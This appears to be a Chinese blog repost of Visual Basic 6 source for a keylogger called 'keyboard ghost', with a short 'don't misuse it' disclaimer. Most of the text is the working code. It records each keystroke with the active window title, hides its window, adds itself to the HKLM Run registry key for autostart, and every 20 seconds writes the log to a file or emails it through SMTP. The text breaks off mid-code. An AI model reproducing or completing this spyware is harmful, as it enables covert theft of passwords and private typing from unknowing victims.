键盘幽灵VB版

来源:互联网 发布:拳王阿里 百度云 编辑:程序博客网 时间:2024/04/27 19:29

这个是我写的一个类似键盘幽灵的程序,大家自己看看吧。晚上无聊写的,不要拿来做坏事呀。

mCommon.bas

Attribute VB_Name = "mFuncation"
'设置钩子
Public Function Hook(ByVal hWnd As Long)
    '监视所有消息
    '设置子分类
    lpPrevWndProc = SetWindowLong(hWnd, GWL_WNDPROC, AddressOf WindowProc)
End Function

'卸载钩子
Public Sub UnHook(ByVal hWnd As Long)
    '卸载子分类
    Call SetWindowLong(hWnd, GWL_WNDPROC, lpPrevWndProc)
End Sub

'设置CAPS键和NUMLOCK键的状态为开
Public Function CAPSLOCKON() As Boolean
    Static bInit As Boolean
    Static bOn As Boolean
    If Not bInit Then
        While GetAsyncKeyState(VK_CAPITAL)
        Wend
        bOn = GetKeyState(VK_CAPITAL)
        bInit = True
    Else
        If GetAsyncKeyState(VK_CAPITAL) Then
            While GetAsyncKeyState(VK_CAPITAL)
                DoEvents
            Wend
            bOn = Not bOn
        End If
    End If
    CAPSLOCKON = bOn
End Function

'取得一个窗体的标题
Public Function GetCaption(WindowHandle As Long) As String
    Dim strBuffer As String, lngTextLength As Long
    lngTextLength = GetWindowTextLength(WindowHandle)
    strBuffer = String(lngTextLength, 0)
    Call GetWindowText(WindowHandle, strBuffer, lngTextLength + 1)
    GetCaption$ = strBuffer
End Function

Function WindowProc(ByVal hw As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    WindowProc = CallWindowProc(lpPrevWndProc, hw, uMsg, wParam, lParam)
End Function

mAPI.bas

Attribute VB_Name = "mAPI"
'申明API
Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal VKEY As Long) As Integer
Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long

'申明常数
Const VK_CAPITAL = &H14
Const REG As Long = 1
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Const HWND_TOPMOST = -1

Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1

Const flags = SWP_NOMOVE Or SWP_NOSIZE

Const GWL_WNDPROC = -4


frmMain.frm

VERSION 5.00
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
Object = "{3B7C8863-D78F-101B-B9B5-04021C009402}#1.2#0"; "RICHTX32.OCX"
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form frmMain
   BorderStyle     =   1  'Fixed Single
   Caption         =   "键盘幽灵-VB版"
   ClientHeight    =   4305
   ClientLeft      =   45
   ClientTop       =   435
   ClientWidth     =   6750
   Icon            =   "frmMain.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   4305
   ScaleWidth      =   6750
   StartUpPosition =   3  '窗口缺省
   Begin VB.CheckBox chkShowForm
      Caption         =   "实现出现运行设置窗体"
      Enabled         =   0   'False
      Height          =   255
      Left            =   3000
      TabIndex        =   15
      Top             =   1920
      Width           =   2175
   End
   Begin MSWinsockLib.Winsock Winsock1
      Left            =   720
      Top             =   120
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.Timer Timer2
      Enabled         =   0   'False
      Interval        =   20000
      Left            =   5520
      Top             =   3360
   End
   Begin VB.Timer Timer1
      Enabled         =   0   'False
      Interval        =   1
      Left            =   5160
      Top             =   3360
   End
   Begin VB.CommandButton cmdExit
      Caption         =   "退出"
      Height          =   375
      Left            =   4800
      TabIndex        =   14
      Top             =   3840
      Width           =   975
   End
   Begin RichTextLib.RichTextBox txtKeyLog
      Height          =   735
      Left            =   4080
      TabIndex        =   13
      Top             =   840
      Visible         =   0   'False
      Width           =   2415
      _ExtentX        =   4260
      _ExtentY        =   1296
      _Version        =   393217
      ScrollBars      =   3
      DisableNoScroll =   -1  'True
      Appearance      =   0
      TextRTF         =   $"frmMain.frx":08CA
   End
   Begin VB.CommandButton cmdStart
      Caption         =   "确定"
      Height          =   375
      Left            =   3480
      TabIndex        =   12
      Top             =   3840
      Width           =   1095
   End
   Begin VB.TextBox txtEmail
      Appearance      =   0  'Flat
      Enabled         =   0   'False
      Height          =   270
      Left            =   2280
      TabIndex        =   11
      Top             =   3360
      Width           =   2655
   End
   Begin VB.TextBox txtPort
      Alignment       =   2  'Center
      Appearance      =   0  'Flat
      Enabled         =   0   'False
      Height          =   270
      Left            =   5280
      MaxLength       =   5
      TabIndex        =   9
      Text            =   "25"
      Top             =   2940
      Width           =   735
   End
   Begin VB.TextBox txtSmtp
      Appearance      =   0  'Flat
      Enabled         =   0   'False
      Height          =   270
      Left            =   2280
      TabIndex        =   7
      Text            =   "Localhost"
      Top             =   2940
      Width           =   2655
   End
   Begin VB.CheckBox chkSendMail
      Caption         =   "是否将键盘记录以电子邮件发送到自动的EMAIL中"
      Height          =   375
      Left            =   240
      TabIndex        =   5
      Top             =   2400
      Width           =   4335
   End
   Begin VB.CheckBox chkStartup
      Caption         =   "启动时是否自动运行"
      Height          =   255
      Left            =   240
      TabIndex        =   4
      Top             =   1920
      Width           =   2415
   End
   Begin VB.CommandButton cmdSavePath
      Appearance      =   0  'Flat
      Caption         =   "..."
      Enabled         =   0   'False
      Height          =   255
      Left            =   3240
      TabIndex        =   3
      Top             =   1440
      Width           =   495
   End
   Begin VB.TextBox txtFilePath
      Appearance      =   0  'Flat
      Enabled         =   0   'False
      Height          =   270
      Left            =   240
      TabIndex        =   2
      Top             =   1440
      Width           =   2895
   End
   Begin MSComDlg.CommonDialog cdgSaveFile
      Left            =   120
      Top             =   120
      _ExtentX        =   847
      _ExtentY        =   847
      _Version        =   393216
      DialogTitle     =   "保存键盘记录文件"
      Filter          =   "文本文件(*.txt)|*.txt"
      InitDir         =   "c:/"
   End
   Begin VB.CheckBox chkSaveFile
      Caption         =   "是否将记录存储为文件"
      Height          =   255
      Left            =   240
      TabIndex        =   1
      Top             =   960
      Width           =   2295
   End
   Begin VB.Label lblEmail
      Alignment       =   2  'Center
      AutoSize        =   -1  'True
      Caption         =   "Email:"
      Enabled         =   0   'False
      Height          =   180
      Left            =   1560
      TabIndex        =   10
      Top             =   3420
      Width           =   630
   End
   Begin VB.Label lblPort
      Alignment       =   2  'Center
      AutoSize        =   -1  'True
      Caption         =   ":"
      Enabled         =   0   'False
      Height          =   180
      Left            =   5040
      TabIndex        =   8
      Top             =   3000
      Width           =   180
   End
   Begin VB.Label lblSmtp
      Alignment       =   2  'Center
      AutoSize        =   -1  'True
      Caption         =   "Smtp服务器:"
      Enabled         =   0   'False
      Height          =   180
      Left            =   1080
      TabIndex        =   6
      Top             =   3000
      Width           =   1080
   End
   Begin VB.Label lblAppName
      Alignment       =   2  'Center
      AutoSize        =   -1  'True
      Caption         =   "运行设定"
      BeginProperty Font
         Name            =   "华文彩云"
         Size            =   26.25
         Charset         =   134
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   540
      Left            =   2310
      TabIndex        =   0
      Top             =   240
      Width           =   2115
   End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'枚举SMTP的各种状态
Private Enum SMTP_State
    MAIL_CONNECT
    MAIL_HELO
    MAIL_FROM
    MAIL_RCPTTO
    MAIL_DATA
    MAIL_DOT
    MAIL_QUIT
End Enum

'申明变量
Dim strWindow As String
Dim strErrorFile As String
Dim m_State As SMTP_State

Private Sub chkSaveFile_Click()
    If chkSaveFile.Value = Checked Then
        txtFilePath.Enabled = True
        cmdSavePath.Enabled = True
    Else
        txtFilePath.Enabled = False
        cmdSavePath.Enabled = False
    End If
End Sub

Private Sub chkSendMail_Click()
    If chkSendMail.Value = Checked Then
        lblSmtp.Enabled = True
        txtSmtp.Enabled = True
        lblPort.Enabled = True
        txtPort.Enabled = True
        lblEmail.Enabled = True
        txtEmail.Enabled = True
    Else
        lblSmtp.Enabled = False
        txtSmtp.Enabled = False
        lblPort.Enabled = False
        txtPort.Enabled = False
        lblEmail.Enabled = False
        txtEmail.Enabled = False
    End If
End Sub

Private Sub chkStartup_Click()
    If chkStartup.Value = Checked Then
        chkShowForm.Enabled = True
    Else
        chkShowForm.Enabled = False
    End If
End Sub

Private Sub cmdExit_Click()
    Unload Me
    End
End Sub

Private Sub cmdSavePath_Click()
    cdgSaveFile.ShowSave
    txtFilePath.Text = cdgSaveFile.FileName
End Sub

Private Sub cmdStart_Click()
    Dim objWSHShell As Object
    Set objWSHShell = CreateObject("WScript.Shell")
    If chkSaveFile.Value = Checked Then
        If txtFilePath.Text = "" Then
            MsgBox "键盘日志文件保存目录为空", vbOKOnly, "错误"
            Exit Sub
        End If
        SaveSetting App.EXEName, "Setting", "SaveFile", "True"
        SaveSetting App.EXEName, "Setting", "FilePath", txtFilePath.Text
        Open txtFilePath.Text For Append As #1
            Write #1, vbCrLf
            Write #1, "[日志开始时间: " & Now & "]" '日志开始记录时间
            Write #1, String(50, "-")
        Close #1
    Else
        SaveSetting App.EXEName, "Setting", "SaveFile", "False"
        SaveSetting App.EXEName, "Setting", "FilePath", ""
    End If
    
    If chkSendMail.Value = Checked Then
        If txtEmail.Text = "" Or txtSmtp.Text = "" Or txtPort.Text = "" Then
            MsgBox "请填写完整的邮件信息", vbOKOnly, "错误"
            Exit Sub
        End If
        SaveSetting App.EXEName, "Setting", "SendMail", "True"
        SaveSetting App.EXEName, "Setting", "Smtp", txtSmtp.Text
        SaveSetting App.EXEName, "Setting", "Port", txtPort.Text
        SaveSetting App.EXEName, "Setting", "Email", txtEmail.Text
    Else
        SaveSetting App.EXEName, "Setting", "SendMail", "False"
        SaveSetting App.EXEName, "Setting", "Smtp", ""
        SaveSetting App.EXEName, "Setting", "Port", ""
        SaveSetting App.EXEName, "Setting", "Email", ""
    End If
    If chkStartup.Value = Checked Then
        SaveSetting App.EXEName, "Setting", "StartUp", "True"
        objWSHShell.RegWrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/KeyGhost-VB", App.Path & "/" & App.EXEName & ".EXE"
        If chkShowForm.Value = Checked Then
            SaveSetting App.EXEName, "Setting", "ShowForm", "True"
        Else
            SaveSetting App.EXEName, "Setting", "ShowForm", "False"
        End If
    Else
        objWSHShell.RegWrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/KeyGhost-VB", ""
        SaveSetting App.EXEName, "Setting", "StartUp", "False"
    End If
    Timer1.Enabled = True
    Timer2.Enabled = True
    Me.Visible = False
End Sub

Private Sub Form_Load()
    '如果程序以运行,则不再运行本程序
    If App.PrevInstance = True Then
        Unload Me
        End
    End If
    
    Hook Me.hWnd
    
    If GetSetting(App.EXEName, "Setting", "SaveFile") = "True" Then
        chkSaveFile.Value = Checked
        txtFilePath.Enabled = True
        cmdSavePath.Enabled = True
    End If
    If GetSetting(App.EXEName, "Setting", "FilePath") <> "" Then
        txtFilePath.Text = GetSetting(App.EXEName, "Setting", "FilePath")
    End If
    If GetSetting(App.EXEName, "Setting", "SendMail") = "True" Then
        chkSendMail.Value = Checked
        lblSmtp.Enabled = True
        txtSmtp.Enabled = True
        lblPort.Enabled = True
        txtPort.Enabled = True
        lblEmail.Enabled = True
        txtEmail.Enabled = True
    End If
    If GetSetting(App.EXEName, "Setting", "Smtp") <> "" Then
        txtSmtp.Text = GetSetting(App.EXEName, "Setting", "Smtp")
    End If
    If GetSetting(App.EXEName, "Setting", "Port") <> "" Then
        txtPort.Text = GetSetting(App.EXEName, "Setting", "Port")
    End If
    If GetSetting(App.EXEName, "Setting", "Email") <> "" Then
        txtEmail.Text = GetSetting(App.EXEName, "Setting", "Email")
    End If
    If GetSetting(App.EXEName, "Setting", "StartUp") = "True" Then
        chkStartup.Value = Checked
        If GetSetting(App.EXEName, "Setting", "ShowForm") = "True" Then
            chkShowForm.Value = Checked
            Me.Visible = True
        Else
            chkShowForm.Value = Checked
            cmdStart_Click
        End If
    End If
    
    strWindow = GetCaption(GetForegroundWindow)
End Sub

Private Sub Form_Unload(Cancel As Integer)
    UnHook Me.hWnd
End Sub

'每隔20秒将键盘记录写入文件或以电子邮件发送出去
Private Sub Timer2_Timer()

If chkSaveFile.Value = Checked Then
    Open txtFilePath.Text For Append As #1
        Write #1, txtKeyLog.Text
    Close #1
    
    '清空RichTextBox控件的内容以释放内存
    txtKeyLog.Text = ""
End If

If chkSendMail.Value = Checked Then
    Winsock1.Connect Trim(txtSmtp.Text), CInt(txtPort.Text)
    m_State = MAIL_CONNECT
End If
End Sub

Private Sub txtPort_KeyPress(KeyAscii As Integer)
    Select Case KeyAscii
        Case 48 To 57
        Case vbKeyBack, vbKeyTab
        Case Else
            KeyAscii = 0
    End Select
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    
    Dim strServerResponse   As String
    Dim strResponseCode     As String
    Dim strDataToSend       As String
    Winsock1.GetData strServerResponse
    strResponseCode = Left(strServerResponse, 3)
    If strResponseCode = "250" Or _
       strResponseCode = "220" Or _
       strResponseCode = "354" Then
        Select Case m_State
            Case MAIL_CONNECT
                m_State = MAIL_HELO
                strDataToSend = Trim(txtEmail.Text)
                strDataToSend = Left(strDataToSend, _
                                InStr(1, strDataToSend, "@") - 1)
                Winsock1.SendData "HELO " & strDataToSend & vbCrLf
            Case MAIL_HELO
                m_State = MAIL_FROM
                Winsock1.SendData "MAIL FROM:" & "" & vbCrLf
            Case MAIL_FROM
                m_State = MAIL_RCPTTO
                Winsock1.SendData "RCPT TO:" & Trim(txtEmail.Text) & vbCrLf
            Case MAIL_RCPTTO
                m_State = MAIL_DATA
                Winsock1.SendData "DATA" & vbCrLf
            Case MAIL_DATA
                m_State = MAIL_DOT
                Winsock1.SendData "Subject:" & "键盘幽灵-VB版键盘记录文件" & Now & vbLf & vbCrLf
                Dim varLines    As Variant
                Dim varLine     As Variant
                Dim strMessage  As String
                strMessage = txtKeyLog.Text & vbCrLf & vbCrLf
                Winsock1.SendData "." & vbCrLf
            Case MAIL_DOT
                m_State = MAIL_QUIT
                Winsock1.SendData "QUIT" & vbCrLf
            Case MAIL_QUIT
                Winsock1.Close
        End Select
    Else
        Winsock1.Close
        If Not m_State = MAIL_QUIT Then
            strErrorFile = "errorlog.txt"
            Open App.Path & "/" & strErrorFile For Append As #2
                Write #2, "邮件发送错误:" & Number & Description & vbCrLf
            Close #2
        End If
    End If
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    strErrorFile = "errorlog.txt"
    Open App.Path & "/" & strErrorFile For Append As #2
        Write #2, "邮件发送错误:" & Number & Description & vbCrLf
    Close #2
End Sub
Private Sub Timer1_Timer()
'如果取得的窗口标题不是前面变量中存储的标题,则重新改变设置变量的值,并且重新设置键盘记录内容
If strWindow <> GetCaption(GetForegroundWindow) Then
    strWindow = GetCaption(GetForegroundWindow)
    txtKeyLog.Text = txtKeyLog.Text & Chr(13) & Chr(13) & "[" & Time & " - 窗口: " & strWindow & "]" & Chr(13)
End If

'下面的程序将记录键盘的操作,并保存在RichTextBox控件中

'按Ctrl + lngShift + F12则呼叫本程序

Dim lngKeyState As Long
Dim lngShift As Long
lngShift = GetAsyncKeyState(vbKeyShift)

'记录大写字母A和小写字母a
lngKeyState = GetAsyncKeyState(vbKeyA)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "A"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "a"
End If

'记录大写字母B和小写字母b
lngKeyState = GetAsyncKeyState(vbKeyB)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "B"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "b"
End If

'记录大写字母C和小写字母c
lngKeyState = GetAsyncKeyState(vbKeyC)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "C"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "c"
End If

'记录大写字母D和小写字母d
lngKeyState = GetAsyncKeyState(vbKeyD)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "D"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "d"
End If

'记录大写字母E和小写字母e
lngKeyState = GetAsyncKeyState(vbKeyE)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "E"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "e"
End If

'记录大写字母F和小写字母f
lngKeyState = GetAsyncKeyState(vbKeyF)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "F"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "f"
End If

'记录大写字母G和小写字母g
lngKeyState = GetAsyncKeyState(vbKeyG)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "G"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "g"
End If

'记录大写字母H和小写字母h
lngKeyState = GetAsyncKeyState(vbKeyH)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "H"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "h"
End If

'记录大写字母I和小写字母i
lngKeyState = GetAsyncKeyState(vbKeyI)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "I"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "i"
End If

'记录大写字母J和小写字母j
lngKeyState = GetAsyncKeyState(vbKeyJ)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "J"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "j"
End If

'记录大写字母K和小写字母k
lngKeyState = GetAsyncKeyState(vbKeyK)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "K"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "k"
End If

'记录大写字母L和小写字母l
lngKeyState = GetAsyncKeyState(vbKeyL)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "L"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "l"
End If

'记录大写字母M和小写字母m
lngKeyState = GetAsyncKeyState(vbKeyM)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "M"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "m"
End If

'记录大写字母N和小写字母n
lngKeyState = GetAsyncKeyState(vbKeyN)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "N"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "n"
End If

'记录大写字母O和小写字母o
lngKeyState = GetAsyncKeyState(vbKeyO)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "O"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "o"
End If

'记录大写字母P和小写字母p
lngKeyState = GetAsyncKeyState(vbKeyP)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "P"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "p"
End If

'记录大写字母Q和小写字母q
lngKeyState = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "Q"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "q"
End If

'记录大写字母R和小写字母r
lngKeyState = GetAsyncKeyState(vbKeyR)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "R"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "r"
End If

'记录大写字母S和小写字母s
lngKeyState = GetAsyncKeyState(vbKeyS)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "S"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "s"
End If

'记录大写字母T和小写字母t
lngKeyState = GetAsyncKeyState(vbKeyT)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "T"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "t"
End If

'记录大写字母U和小写字母u
lngKeyState = GetAsyncKeyState(vbKeyU)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "U"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "u"
End If

'记录大写字母V和小写字母v
lngKeyState = GetAsyncKeyState(vbKeyV)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "V"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "v"
End If

'记录大写字母W和小写字母w
lngKeyState = GetAsyncKeyState(vbKeyW)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "W"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "w"
End If

'记录大写字母X和小写字母x
lngKeyState = GetAsyncKeyState(vbKeyX)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "X"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "x"
End If

'记录大写字母Y和小写字母y
lngKeyState = GetAsyncKeyState(vbKeyY)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
